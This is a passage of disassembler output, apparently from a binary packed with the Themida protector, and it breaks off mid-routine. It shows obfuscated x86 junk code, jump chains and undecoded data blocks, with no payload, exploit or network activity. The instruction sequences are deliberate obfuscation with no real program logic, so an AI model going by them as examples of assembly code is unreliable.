add ebp, edi
pop edi
push esi
mov esi, 4
add ebp, esi
mov esi, [esp]
push eax
push esp
pop eax
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
xchg ebp, [esp]
jmp loc_55F0ED
; ---------------------------------------------------------------------------
dd 0E92434FFh, 0FFFF9130h, 4C4815Bh, 66000000h, 66422968h
dd 83241C89h, 148904ECh, 91B05024h, 8358C288h, 0C8904ECh
dd 0F655B524h, 488E9D5h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55D522: ; CODE XREF: Themida_:0055D1DFj
xchg eax, esi
push 6427h
mov [esp], esi
push dword ptr [esp+4]
mov esi, [esp]
jmp loc_5579DD
; ---------------------------------------------------------------------------
db 80h
dd 4DE97FEAh
db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D53F: ; CODE XREF: Themida_:0055E431j
pop edx
push ebp
sub esp, 4
jmp loc_55ED3F
; ---------------------------------------------------------------------------
dd 7E9AE954h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D552: ; CODE XREF: Themida_:00557F02j
xor dword ptr [esp], 317A51A3h
jmp loc_556B89
; ---------------------------------------------------------------------------
dw 1C89h
dd 0CBB55124h, 47E9D5F6h, 81FFFFC1h, 0A00E11CEh, 0EE814605h
dd 3BFA7177h, 34E9F301h
db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_555623
; ---------------------------------------------------------------------------
loc_55D593: ; CODE XREF: Themida_:0055D03Bj
push esi
push ebx
mov ebx, esp
push edx
push edi
mov edi, 0FD32D0Ah
mov edx, 0FD32D0Eh
sub edx, edi
pop edi
add ebx, edx
pop edx
jmp loc_5572C7
; ---------------------------------------------------------------------------
loc_55D5AE: ; CODE XREF: Themida_:0055CC73j
xchg ebp, [esp]
pop esp
add esp, 4
sub eax, 500F147Ch
push dword ptr [edi+eax*4]
jmp loc_55A61C
; ---------------------------------------------------------------------------
dw 3C87h
dd 24248B24h, 0E9240C89h, 20FFh, 5C240C87h, 0E9240C89h
dd 0FFFFB0F9h
; ---------------------------------------------------------------------------
loc_55D5DC: ; CODE XREF: Themida_:005571C7j
add esp, 4
mov dl, cl
pop ecx
jmp loc_55F754
; ---------------------------------------------------------------------------
loc_55D5E7: ; CODE XREF: Themida_:0055BE69j
xor ebx, 2AFC68C8h
jmp loc_55B3F4
; ---------------------------------------------------------------------------
dw 3358h
dd 3C31243Ch, 243C3324h, 0BE0F665Ch, 0F4E9C8h, 14870000h
dd 0F6E95C24h
db 8Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D60F: ; CODE XREF: Themida_:0055F4BCj
add bl, 0FFh
neg bl
push 4234h
mov [esp], eax
mov ah, 23h
jmp loc_559C22
; ---------------------------------------------------------------------------
db 57h
dd 205338BFh, 0DA80E90Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D62E: ; CODE XREF: Themida_:00555C5Aj
pop esp
push 1DD4h
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
or eax, eax
jnz loc_55B0F1
push 1
jmp loc_55E42E
; ---------------------------------------------------------------------------
dw 0C8Bh
dd 4C48324h, 0FFEFADE9h, 4C483FFh, 0E95BD889h, 1B0Dh, 0F724248Bh
dd 0EC8151E9h, 4, 0E904EC83h, 733h
; ---------------------------------------------------------------------------
loc_55D67C: ; CODE XREF: Themida_:005606AFj
shr edx, 1
cmp eax, edx
jz loc_5556CE
push edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_5573BA
; ---------------------------------------------------------------------------
dw 0EB81h
dd 86950F81h, 0F75BDD01h, 8B14E9DDh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D6AA: ; CODE XREF: Themida_:0055B11Ej
mov [esp], edi
push ecx
mov ecx, 1D2320E1h
mov edi, ecx
mov ecx, [esp]
add esp, 4
sub edi, 6F0F0085h
push esi
mov esi, 2076549Ah
neg esi
shl esi, 4
neg esi
jmp loc_55ED36
; ---------------------------------------------------------------------------
loc_55D6D6: ; CODE XREF: Themida_:005563CFj
mov esp, [esp]
jmp loc_5572E8
; ---------------------------------------------------------------------------
loc_55D6DE: ; CODE XREF: Themida_:00554BC5j
add ebp, 4
add ebp, 4
jmp loc_560B14
; ---------------------------------------------------------------------------
dd 5E08950h, 4, 1F1DE953h, 68660000h, 8966106Eh, 0C7E9240Ch
dd 55FFFF71h, 1A37BE56h, 0F5897A8Bh, 0FFED815Eh, 0E9FFFFFFh
dd 0FFFF8380h, 81D3F74Bh, 9E6ABEBh, 59CB01DAh, 68h, 242C8100h
dd 29821FB5h, 0E9241C29h, 0FFFF90EBh, 0E904C483h, 0FFFF718Ah
dd 0F668525Bh, 5A46824Bh, 69F3EA81h, 68E94FBBh, 6600002Ch
dd 5624048Bh, 0FFE283E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55D761: ; CODE XREF: Themida_:0055BE9Aj
mov [esp], edx
xchg ebp, [esp]
not ebp
jmp loc_554F0E
; ---------------------------------------------------------------------------
dw 5866h
dd 0D3E9D928h, 5EFFFF7Ah, 8B24048Fh, 8B662424h, 83512404h
dd 0CBE904ECh
db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D78B: ; CODE XREF: Themida_:00555C03j
add esp, 4
mov eax, esi
pop esi
and ecx, eax
mov eax, [esp]
push edi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_557556
; ---------------------------------------------------------------------------
db 5Eh, 2Dh, 18h
dd 2D287610h, 0CE854EDBh, 0FFF868E9h, 2025B0FFh, 805866C1h
dd 0D9F6ABC9h, 300EC180h, 0B15159C8h, 0F0BAE922h, 0F766FFFFh
dd 0E99C241Ch, 0FFFF70F2h, 0FF70EDE9h, 240431FFh, 5C240433h
dd 0FF70E1E9h, 243489FFh, 464C0EBEh, 5DDC2D51h, 0F0292E5Eh
dd 5E5DDC05h, 9A2D5E2Eh, 53236722h, 9784E952h, 0C281FFFFh
dd 4, 84B2E955h, 0C580FFFFh, 66EA00D5h, 0A355E959h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D826: ; CODE XREF: Themida_:0055D9E3j
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
shl edi, 8
neg edi
shl edi, 5
shr edi, 6
sub edi, offset dword_493A00
and ecx, edi
pop edi
shr ecx, 7
push dword ptr [edi+1Ch]
jmp loc_55E7AC
; ---------------------------------------------------------------------------
loc_55D854: ; CODE XREF: Themida_:0055AF0Cj
pop eax
shr ecx, 0Ah
jmp loc_55531D
; ---------------------------------------------------------------------------
db 1, 0D5h, 8Bh
dd 0C4812414h, 4, 5C242C87h, 240C8B66h, 129A68h, 24348900h
dd 0C681E689h, 4, 0FFB31EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55D885: ; CODE XREF: Themida_:0055A7D5j
mov [esp], ecx
mov cl, 18h
add al, 4Dh
add al, cl
sub al, 4Dh
jmp loc_55A4B5
; ---------------------------------------------------------------------------
db 0FFh, 74h, 24h
dd 48F5F04h, 24248B24h, 0FF7223E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55D8A5: ; CODE XREF: Themida_:0055BE20j
pop eax
add edi, 0FFFFFFFFh
push ecx
push 80488282h
pop ecx
jmp loc_55B1EA
; ---------------------------------------------------------------------------
db 8Bh, 4, 24h
dd 0E904C483h, 0
dd 0B951D8F7h, 208F7B1Ah, 0E4BE9h
db 0
; ---------------------------------------------------------------------------
loc_55D8CD: ; CODE XREF: Themida_:0055839Ej
pop edi
dec ebp
add ebp, 6A856B60h
push ecx
mov ecx, 313F50E6h
jmp loc_55E0D4
; ---------------------------------------------------------------------------
dd 96BD55h, 0E5C10F68h, 15DCE904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55D8EE: ; CODE XREF: Themida_:00554FA0j
push dword ptr [esp+4]
mov edx, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
mov [esp], esi
jmp loc_554D0E
; ---------------------------------------------------------------------------
db 89h
dd 66B3241Ch, 0D8E9D800h
db 1Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55D913: ; CODE XREF: Themida_:0055B45Bj
add esp, 4
push ecx
mov ecx, esp
jmp loc_55ADBE
; ---------------------------------------------------------------------------
dd offset aREiRXb ; "à\aÇ…I à\axb"
dw 8900h
dd 68572404h, 2, 481575Fh, 2C469F24h, 85E9583Fh, 0FFFFF8Bh
dd 0AB3DE9C8h, 575AFFFFh, 0E036855h, 2C8B2BEEh, 4C48124h
dd 0E9000000h, 0FFFFAE74h
; ---------------------------------------------------------------------------
loc_55D958: ; CODE XREF: Themida_:00560716j
pop eax
jmp loc_5582D9
; ---------------------------------------------------------------------------
loc_55D95E: ; CODE XREF: Themida_:00557B29j
mov ebx, edi
pop edi
sub ebx, 6A806BA8h
add ebx, edi
add ebx, 6A806BA8h
mov ecx, [ebx]
push dword ptr [esp]
mov ebx, [esp]
jmp loc_556FBD
; ---------------------------------------------------------------------------
dd 5C9DF181h, 0C18114CBh, 33CDD66Ch, 0C048E951h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D98E: ; CODE XREF: Themida_:0055EBA5j
xor ecx, edi
jmp loc_55BCE2
; ---------------------------------------------------------------------------
db 81h, 0C1h, 4
dd 0E9000000h, 0FFFFDF8Eh, 5D2434FFh, 0C604E956h, 0E580FFFFh
dd 0F6CDFEC0h, 3E5C0D5h, 4EC81h, 1C890000h, 92A1E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D9C2: ; CODE XREF: Themida_:0055B83Dj
mov [esp], eax
push 6CCA6A2Eh
pop eax
add eax, 0A235035Dh
push ebx
mov ebx, eax
mov edi, ebx
push dword ptr [esp]
pop ebx
add esp, 4
mov eax, [esp]
push ecx
jmp loc_55D826
; ---------------------------------------------------------------------------
dd 0C8BC829h, 0F818E924h, 0D7E9FFFFh, 50FFFF6Eh, 4B8h
dd 58C20100h, 31241433h, 14332414h, 0DEA0E924h, 665CFFFFh
dd 0E99CC83Bh, 0FFFF6EB6h, 240C335Fh, 0E9240C31h, 0F37h
dd 0FF6EA5E9h, 240C89FFh, 81A7E952h, 48FFFFFh, 0A043E924h
dd 0EE81FFFFh, 39717B77h, 4E75EE81h, 0C6E91D79h
db 9Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55DA4B: ; CODE XREF: Themida_:005587C7j
add esp, 4
push esi
push 37C92F73h
push dword ptr [esp]
mov esi, [esp]
add esp, 4
add esp, 4
shl esi, 4
push ecx
mov ecx, 747A3431h
jmp loc_55A927
; ---------------------------------------------------------------------------
dd 0FFFFC181h, 0E6E9FFFFh, 68FFFF74h, 6B2Fh, 0E9241489h
dd 1DF9h, 21B7E95Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55DA92: ; CODE XREF: Themida_:005592C6j
add esp, 2
sub al, 43h
sub al, 18h
jmp loc_55A7CA
; ---------------------------------------------------------------------------
dw 4F68h
dd 5A1FF06Bh, 67396851h, 0F75976B7h, 81D1F7D1h, 767A5BC1h
dd 81D1F779h, 0C24D3CC1h, 59CA213Bh, 2905E281h, 0D2F75194h
dd 0FBF28142h, 89BA86FBh, 24148BD1h, 4C481h, 0ECE90000h
db 22h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55DADF: ; CODE XREF: Themida_:005564F4j
push edx
mov edx, 4
add eax, edx
pop edx
xchg eax, [esp]
jmp loc_55C1D4
; ---------------------------------------------------------------------------
dd 4C781h, 0EF810000h, 4, 2474FF57h, 48F5F04h, 34895C24h
dd 815E5424h, 4C6h, 90E95000h, 81FFFFB1h, 0B3508CF7h, 5FF98931h
dd 4244C01h, 81240C8Bh, 4C4h, 81008F00h, 4ECh, 242C8900h
dd 2E9E9h, 0C3015900h, 2B0FEB81h, 0C381585Bh, 3EB23A80h
dd 92A7E958h, 2C8BFFFFh, 4C48324h, 15FF829h, 2C8758C5h
dd 0E9F65C24h, 0CCB60F66h, 68E38953h, 2838h, 0BD242C89h
dd 4, 0E9E9EB01h, 80FFFFA5h, 0F780CDC7h, 285F2CFAh, 0FF5F04F8h
dd 65E92434h, 81FFFFF9h, 2EDAB8F5h, 0BC89E9B9h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55DB9E: ; CODE XREF: Themida_:0055B6B5j
sub bl, 0B4h
mov al, bl
pop ebx
mov dl, 17h
xor dl, al
pop eax
sub bl, dl
pop dx
add bl, 3Bh
add bl, al
sub bl, 3Bh
add bl, 0DBh
push ecx
mov ch, 0DCh
shl ch, 4
jmp loc_55A6B4
; ---------------------------------------------------------------------------
aM0Hlk db '¬0ØhlK',0
dw 0E900h
dd 0FFFFD057h
; ---------------------------------------------------------------------------
loc_55DBD0: ; CODE XREF: Themida_:00559B24j
pop ecx
sub edi, eax
sub edi, 7ABC165Eh
mov eax, [esp]
add esp, 4
retn
; ---------------------------------------------------------------------------
dd 0FF828EE9h, 51E888FFh, 0CB88C188h, 2052E9h
db 0
; ---------------------------------------------------------------------------
loc_55DBF1: ; CODE XREF: Themida_:0055F65Dj
pop ebx
add esp, 4
push edx
mov dl, 7Fh
add ch, dl
pop edx
sub al, ch
mov ecx, [esp]
jmp loc_5593A5
; ---------------------------------------------------------------------------
db 5Ch, 66h, 89h
dd 0F66240Ch, 5166C8B6h, 6CB8E99Ch, 0C481FFFFh, 4, 0FF9090E9h
dd 0C875FFFh, 0DB5CE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55DC2A: ; CODE XREF: Themida_:005601D5j
push ebx
jmp loc_55B494
; ---------------------------------------------------------------------------
dd 6B8468h, 24148900h, 0E2493568h, 2434FF73h, 5A2434FFh
dd 8104C483h, 4C4h, 0FFD03100h, 148B2434h, 0E6895624h
dd 4C681h, 0C6810000h, 4, 5C243487h, 5E08950h, 4, 405h
dd 24048700h, 58DB685Ch, 0C890000h, 9FBD5524h, 8149A261h
dd 1EDh, 6E5C100h, 6839BE56h, 0EEC175F3h, 0B0EE8107h, 0E93D2807h
dd 0FFFFAC5Fh, 2E3568h, 241C8900h, 72E9D788h, 5BFFFFE1h
dd 0C002EAC0h, 0A4E905E2h
db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55DCBF: ; CODE XREF: Themida_:0055FDC6j
mov [esp], ebx
mov eax, [esp]
sub esp, 4
jmp loc_56025A
; ---------------------------------------------------------------------------
db 1, 0D8h, 8Bh
dd 0C481241Ch, 4, 3302C083h, 4312404h, 24043324h, 272CE9h
dd 81E68900h, 4C6h, 4C68100h, 56000000h, 42474FFh, 0BB58E95Eh
dd 30ACFFFFh, 0A79DE9D8h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55DD0A: ; CODE XREF: Themida_:00555FDFj
push 37607C61h
mov edi, [esp]
add esp, 4
sub edi, 0FFFFFFFFh
dec edi
inc edi
push edx
push ecx
mov ecx, 19EC225Ah
add ecx, 70504426h
add ecx, 1C5C15h
jmp loc_55B0C0
; ---------------------------------------------------------------------------
loc_55DD35: ; CODE XREF: Themida_:0055AE52j
sub eax, 0D111866h
not eax
or eax, 679B1B2Bh
add eax, 55337C8Ch
add edx, eax
pop eax
sub esp, 4
mov [esp], ebp
mov ebp, 4D386159h
jmp loc_559CC4
; ---------------------------------------------------------------------------
loc_55DD59: ; CODE XREF: Themida_:0055C9EEj
push edi
push edx
jmp loc_55CB65
; ---------------------------------------------------------------------------
loc_55DD60: ; CODE XREF: Themida_:0055FCB4j
add esi, 12D52E55h
pop ebx
jmp loc_55E499
; ---------------------------------------------------------------------------
dd 5A5BD888h, 88C68852h, 585A3877h, 6B50E959h, 1C89FFFFh
dd 0A6ADE924h, 48BFFFFh, 74685324h, 0E9000078h, 0AAh
; ---------------------------------------------------------------------------
loc_55DD94: ; CODE XREF: Themida_:0055A0DBj
push 4DA0h
mov [esp], edi
mov edi, esp
add edi, 4
push ebx
mov ebx, 56FE4124h
jmp loc_55A2A0
; ---------------------------------------------------------------------------
db 89h
dd 0BA522424h, 4, 4245401h, 7089E95Ah, 0C981FFFFh, 3C231ACEh
dd 0C108E9C1h, 0A2E903E9h, 66FFFFEDh, 68240C8Bh, 5411h
dd 0FFF484E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55DDE1: ; CODE XREF: Themida_:0055F170j
pop ebp
jmp loc_55B985
; ---------------------------------------------------------------------------
loc_55DDE7: ; CODE XREF: Themida_:00559D10j
add esp, 4
push edx
jmp loc_555CF9
; ---------------------------------------------------------------------------
dd 0D2F61AB2h, 0E908EAC0h, 0FFFFE534h
; ---------------------------------------------------------------------------
loc_55DDFC: ; CODE XREF: Themida_:00557EADj
sub esi, 6B6B2365h
add eax, esi
pop esi
push eax
add dword ptr [esp], 6D99747Bh
pop esi
push ecx
push ebx
mov ebx, 12992FBBh
add ebx, 3F306C60h
add ebx, 1BCFD860h
jmp loc_5602BD
; ---------------------------------------------------------------------------
dw 73BDh
dd 290E4C26h, 2CDCE928h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55DE32: ; CODE XREF: Themida_:0055A8BBj
mov [esp], ebx
push dword ptr [esp+4]
jmp loc_5585C5
; ---------------------------------------------------------------------------
dw 2489h
dd 0AD11E924h, 0CD81FFFFh, 6FF14BBEh, 4FFBF581h, 0E8017FF7h
dd 4055Dh, 4870000h, 24248B24h, 0FF9246E9h, 4956BDFFh
dd 0E5C14078h, 0EDC14503h, 0D5F74505h, 0FFFD1AE9h, 68D831FFh
dd 5DFEh, 0BA241489h, 14E666E6h, 0FD8E951h, 0C4830000h
dd 241C3304h, 33241C31h, 0E95C241Ch, 0FFFFBA88h, 83240C8Bh
dd 516604C4h, 0F32C9FB1h, 0F304C828h, 240C8B66h, 2802C483h
dd 96B353D8h, 9C380h, 0E9515BD8h, 0FFFFD269h, 0B201E955h
dd 0F101FFFFh, 107DE981h, 348B7B8Bh, 4C48124h, 83000000h
dd 0C3302C1h, 240C3124h, 1841E9h
db 0
; ---------------------------------------------------------------------------
loc_55DEED: ; CODE XREF: Themida_:0055C6E8j
add edx, 4
xchg edx, [esp]
pop esp
mov esi, [esp]
push ecx
jmp loc_55AE71
; ---------------------------------------------------------------------------
dd 5F01CDB8h, 0A68EE93Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55DF0A: ; CODE XREF: Themida_:0055EB69j
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edx
push 5DE574FCh
pop edx
jmp loc_55665D
; ---------------------------------------------------------------------------
dw 0E959h
dd 0FFFFE009h, 57BCB866h, 8BC38966h, 0C4812404h, 4, 0FFEDD8E9h
dd 5DE981FFh, 0E9DAA21Dh, 2813h
; ---------------------------------------------------------------------------
loc_55DF50: ; CODE XREF: Themida_:00555FF8j
not edi
push eax
jmp loc_557CD0
; ---------------------------------------------------------------------------
dd 907B951h, 0E1C17E36h, 76C98106h, 0E966FA46h, 0FFFFE88Dh
; ---------------------------------------------------------------------------
loc_55DF6C: ; CODE XREF: Themida_:0055C522j
pop ebx
jmp loc_55A25F
; ---------------------------------------------------------------------------
dw 0C381h
dd 4, 0FF96EBE9h, 0E7E981FFh, 1BCFBF7h, 0F30159CEh, 4EC835Eh
dd 693E9h, 67E94200h, 66FFFF79h, 0E924048Bh, 0FFFF900Dh
dd 7FF768h, 24348900h, 1201BD55h, 0E5C1734Dh, 0F0C58104h
dd 0E9CB2EDFh, 0FFFFA238h, 31240C33h, 0C33240Ch, 0E8B8E924h
dd 0F281FFFFh, 243A7AF9h, 405AD021h, 20710F35h, 8BEE8100h
dd 173AF1Bh, 8BC681C6h, 5873AF1Bh, 8702C683h, 248B2434h
dd 0CD36624h, 0D0E99C24h, 81FFFFEDh, 890060F1h, 81D1F77Ch
dd 8EEE38C1h, 0A7A2E940h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E00E: ; CODE XREF: Themida_:00559799j
mov [esp], ecx
mov ecx, esi
mov ebp, ecx
pop ecx
pop esi
push ebp
not dword ptr [esp]
pop ebp
shl ebp, 1
xor ebp, edi
xor edi, ebp
xor ebp, edi
jmp loc_55A06D
; ---------------------------------------------------------------------------
db 5Dh, 81h, 0C7h
dd 2B652FEh, 0EF81CF01h, 2B652FEh, 45E1C781h, 0C8B569Fh
dd 4C48124h, 0E9000000h, 2A0Eh, 4308EBC1h, 0BF42B951h
dd 0CB310025h, 5BDA0159h, 392568h, 24148900h, 42474FFh
dd 24048F5Ah, 240CD25Ch, 6858E99Ch, 0B60FFFFFh, 148B66C0h
dd 6EE95224h
db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E083: ; CODE XREF: Themida_:0055E50Fj
mov esi, 0ABEED962h
add esi, edi
mov edi, [esp]
jmp loc_55CE43
; ---------------------------------------------------------------------------
dw 70BBh
dd 4B09F95Ah, 0FFC3C7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E09D: ; CODE XREF: Themida_:0055FA20j
mov ch, dl
pop edx
jmp loc_557E89
; ---------------------------------------------------------------------------
db 29h, 0D8h, 5Bh
dd 9FF74805h, 0E5C581C2h, 1030262h, 0E5ED81C5h, 8B030262h
dd 60E92404h, 0E9FFFFD0h, 0FFFF6806h, 9CBF5759h, 0E97DEF74h
dd 0FFFFB1F7h
; ---------------------------------------------------------------------------
loc_55E0D4: ; CODE XREF: Themida_:0055D8DBj
neg ecx
jmp loc_5552E2
; ---------------------------------------------------------------------------
db 0FFh
dd 0E9592434h, 0FFFFBD28h
; ---------------------------------------------------------------------------
loc_55E0E4: ; CODE XREF: Themida_:00556500j
push ebp
mov ebp, edx
mov eax, ebp
pop ebp
mov edi, eax
pop eax
pop edx
push edx
jmp loc_55F383
; ---------------------------------------------------------------------------
loc_55E0F4: ; CODE XREF: Themida_:00556F81j
inc edi
neg edi
sub edi, 0C9E0AE56h
jmp loc_558497
; ---------------------------------------------------------------------------
dw 0F205h
dd 5A39CB1Dh, 3358C601h, 34312434h, 24343324h, 0D224248Bh
dd 0E99C2424h, 0FFFF67AEh, 30E9F201h, 57FFFFC2h, 4BFh
dd 5FFD2900h, 0E9242C87h, 0FFFFA731h, 0F2E9C330h, 5DFFFFEAh
dd 31240433h, 0EAE92404h, 66000022h, 4EC38059h, 8DC0B60Fh
dd 1A688704h, 89000053h, 6BE92404h
db 67h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E163: ; CODE XREF: Themida_:0056007Fj
mov esi, [esp]
add esp, 4
add esp, 4
push ebp
jmp loc_55C9BA
; ---------------------------------------------------------------------------
dd 1089C981h, 0E1C15CB2h, 8E98107h, 0E92B0B54h, 0FFFFB800h
; ---------------------------------------------------------------------------
loc_55E18C: ; CODE XREF: Themida_:0055B680j
mov [esp], ecx
push esp
pop ecx
add ecx, 4
jmp loc_55E514
; ---------------------------------------------------------------------------
dd 0E9241489h, 0FFFF7FFFh
; ---------------------------------------------------------------------------
loc_55E1A4: ; CODE XREF: Themida_:00555591j
push 0
sub [esp], edx
pop edx
push edi
mov edi, 2A865E90h
add edi, 1AE1D4Ah
jmp loc_55F9BE
; ---------------------------------------------------------------------------
dw 0F701h
dd 5FF9315Eh, 0FFD5D0E9h, 0DFE180FFh, 28F5C180h, 525B59C8h
dd 6602EC83h, 52240489h, 43E926B6h
db 11h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E1E3: ; CODE XREF: Themida_:0055F825j
mov ebx, 525F572Ch
sub edx, ebx
pop ebx
jmp loc_5548CE
; ---------------------------------------------------------------------------
loc_55E1F0: ; CODE XREF: Themida_:0055B94Cj
mov ebp, [esp]
jmp loc_556B9D
; ---------------------------------------------------------------------------
dd 8A0C22B9h, 0BBC1815Bh, 1A4E324h, 1C8B59C8h, 4EC8124h
dd 89000000h, 0E954243Ch, 0FFFFB911h, 80DAB753h, 30E97ACFh
db 7Ch, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E223: ; CODE XREF: Themida_:00556CF7j
shl esi, 1
shl esi, 3
add esi, 1F884DB8h
sub esi, 106B2BACh
jmp loc_5586C7
; ---------------------------------------------------------------------------
db 81h, 0F5h, 0Dh
dd 81688F23h, 4635F9E5h, 24C58149h, 5B7FDCEh, 53440FBAh
dd 0BA2DE801h, 5D53440Fh, 1215E9h
db 0
; ---------------------------------------------------------------------------
loc_55E25D: ; CODE XREF: Themida_:0055CB1Aj
pop ebx
jmp loc_556360
; ---------------------------------------------------------------------------
db 0Ch
dd 2CA30C53h, 8834345Ah, 0E95158C1h, 253Dh, 39E9BF57h
dd 0FB293ECEh, 81D3F75Fh, 122F57EBh, 8BDA01E9h, 0C483241Ch
dd 9B95104h, 81133D5Ah, 0CC6ED4E9h, 0F7D9F76Eh, 2DC181D1h
dd 0E9363132h, 0FFFFFC9Dh, 0EB81CB01h, 725631CAh, 0FFAE83E9h
dd 246C81FFh, 842AE604h, 247C295Ch, 24448104h, 842AE604h
dd 4815F5Ch, 51385524h, 242C810Bh, 296479BAh, 0C240481h
dd 0E916903Ah, 0FFFF673Bh, 0C681E689h, 4, 4EE81h, 34870000h
dd 0C895C24h, 0B699E924h, 0B468FFFFh, 8900001Fh, 0E6892434h
dd 4C681h, 0C6810000h, 4, 5C243487h, 3A768h, 7DFBE900h
dd 5166FFFFh, 655E9h, 0E7F18000h, 0FFC2CEE9h, 0E3F480FFh
dd 0E958E288h, 0FFFFC44Dh, 240C8B66h, 39368h, 243C8900h
dd 91E9E789h
db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E34F: ; CODE XREF: Themida_:0055FFD3j
and eax, edi
push dword ptr [esp]
mov edi, [esp]
add esp, 4
sub esp, 4
mov [esp], edi
mov edi, esp
push eax
jmp loc_55703E
; ---------------------------------------------------------------------------
dd 8124048Bh, 4C4h, 0F6E28600h, 51E286D4h, 0E950D588h
dd 0FFFFF865h, 7B4FC981h, 0F18152A1h, 190C04C6h, 7D25C981h
dd 64E92627h, 5AFFFFFCh, 4C481h, 0C6830000h, 74FF5602h
dd 7AE90424h, 51000015h, 592414F7h, 73D1E981h, 0C2E9533Eh
dd 83FFFFFBh, 0C28104C4h, 427F39EFh, 0FF763AE9h, 7BF868FFh
dd 4890000h, 5FE8B824h, 77E941C7h
db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E3DB: ; CODE XREF: Themida_:005559A5j
pop ebx
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
jmp loc_5548CE
; ---------------------------------------------------------------------------
loc_55E3EB: ; CODE XREF: Themida_:0055BA8Aj
mov ebp, esp
push eax
mov eax, 4
push eax
mov eax, 63E81634h
jmp loc_55E45A
; ---------------------------------------------------------------------------
loc_55E3FE: ; CODE XREF: Themida_:005604A8j
push ebp
jmp loc_55FBAB
; ---------------------------------------------------------------------------
dd 6F41E959h, 0D701FFFFh, 6634E95Ah, 0E2C1FFFFh, 26E28102h
dd 814AB702h, 0FFFFFFC2h, 81DAF7FFh, 0F824C1CAh, 0B702E955h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E42E: ; CODE XREF: Themida_:0055D64Dj
push dword ptr [esp]
jmp loc_55D53F
; ---------------------------------------------------------------------------
dw 48Bh
dd 1CFE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E43E: ; CODE XREF: Themida_:0055676Aj
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_55D13D
; ---------------------------------------------------------------------------
db 83h
dd 0C8704C4h, 8315E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E45A: ; CODE XREF: Themida_:0055E3F9j
neg eax
add eax, 2FED6BB8h
jmp loc_55F605
; ---------------------------------------------------------------------------
loc_55E466: ; CODE XREF: Themida_:0055C14Fj
mov [esp], edi
push ebp
mov ebp, 79AB6E4Eh
mov edi, 931F0F3Dh
jmp loc_55F16E
; ---------------------------------------------------------------------------
db 81h, 4, 24h
dd 4, 0A01E95Fh, 0C3810000h, 0BE9DE199h, 34FFD831h, 2434FF24h
dd 0FFB683E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E499: ; CODE XREF: Themida_:0055DD67j
sub esp, 4
mov [esp], esi
push dword ptr [esp+4]
jmp loc_5587B9
; ---------------------------------------------------------------------------
db 53h
dd 6C6D72BBh, 0F7D3F724h, 92EB81DBh, 4B6F212Ch, 0BF24C381h
dd 0DF014AB4h, 1221685Bh, 3C890000h, 2474FF24h, 243C8B04h
dd 56E28952h, 244118BEh, 6817E94Ah, 0D801FFFFh, 9A222C2Dh
dd 4EC8129h, 0E9000000h, 0FFFFCBDDh, 104C483h, 0EC835BDFh
dd 241C8904h, 2BBh, 5BDF0100h, 6E1CE957h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E50E: ; CODE XREF: Themida_:0055ADDAj
pop edi
jmp loc_55E083
; ---------------------------------------------------------------------------
loc_55E514: ; CODE XREF: Themida_:0055E197j
push edi
mov edi, 1D76696Bh
shr edi, 2
sub edi, 75D9A56h
add ecx, edi
pop edi
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_5579BA
; ---------------------------------------------------------------------------
dd 1C57095Fh, 6390E95Ah, 0E959FFFFh, 959h
; ---------------------------------------------------------------------------
loc_55E544: ; CODE XREF: Themida_:0055A2D1j
mov edi, 361E5B5Ah
neg edi
not edi
add edi, 0FC791813h
jmp loc_55AE7E
; ---------------------------------------------------------------------------
loc_55E558: ; CODE XREF: Themida_:005605C1j
mov edx, esp
push esi
mov esi, 5DF54298h
